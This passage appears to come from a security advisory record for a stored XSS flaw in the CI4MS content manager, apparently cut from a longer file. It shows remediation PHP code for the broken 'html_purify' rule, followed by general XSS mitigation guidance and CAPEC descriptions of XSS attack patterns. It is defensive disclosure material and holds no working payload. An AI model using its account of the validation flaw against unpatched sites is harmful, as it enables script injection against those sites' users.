CustomRules::sanitizeHtml((string)($lanData[\u0027content\u0027] ?? \u0027\u0027)),\n \u0027seo\u0027 =\u003e !empty($seoData) ? $seoData : \u0027\u0027,\n ]);\n ```\n\n Apply the identical change to `modules/Pages/Controllers/Pages.php` (the previous Pages Stored XSS fix relied on `html_purify` and is therefore still vulnerable).\n\n2. Fix the cache key bug so `getClean()` actually works as a defense-in-depth backstop:\n\n ```php\n // modules/Backend/Validation/CustomRules.php\n public function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n {\n if (empty(trim((string)$str))) return true;\n if (!class_exists(\u0027\\HTMLPurifier\u0027)) { $error = lang(\u0027Backend.htmlPurifierNotFound\u0027); return false; }\n $original = (string)$str;\n $clean = self::sanitizeHtml($original);\n self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment\n $str = $clean; // best-effort; CI4 will drop this\n return true;\n }\n ```\n\n3. Document explicitly in `CustomRules` that `html_purify` is *not* a sanitizer \u2014 it returns `true` unconditionally on any HTMLPurifier-installed environment \u2014 and that callers MUST use `CustomRules::sanitizeHtml(...)` (or `CustomRules::getClean($original)` after the cache fix) on `$_POST` data before storage.\n\n4. Defense in depth: escape `$infos-\u003econtent` at output where feasible (e.g., `app/Views/templates/default/blog/post.php:51`), or pipe the stored value through `CustomRules::sanitizeHtml()` on read for templates that are expected to render rich HTML \u2014 guaranteeing safety even if a future caller forgets the sanitizer.",
"id": "GHSA-2m69-jmvh-6chr",
"modified": "2026-05-18T15:39:33Z",
"published": "2026-05-18T15:39:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-2m69-jmvh-6chr"
},
{
"type": "PACKAGE",
"url": "https://github.com/ci4-cms-erp/ci4ms"
},
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.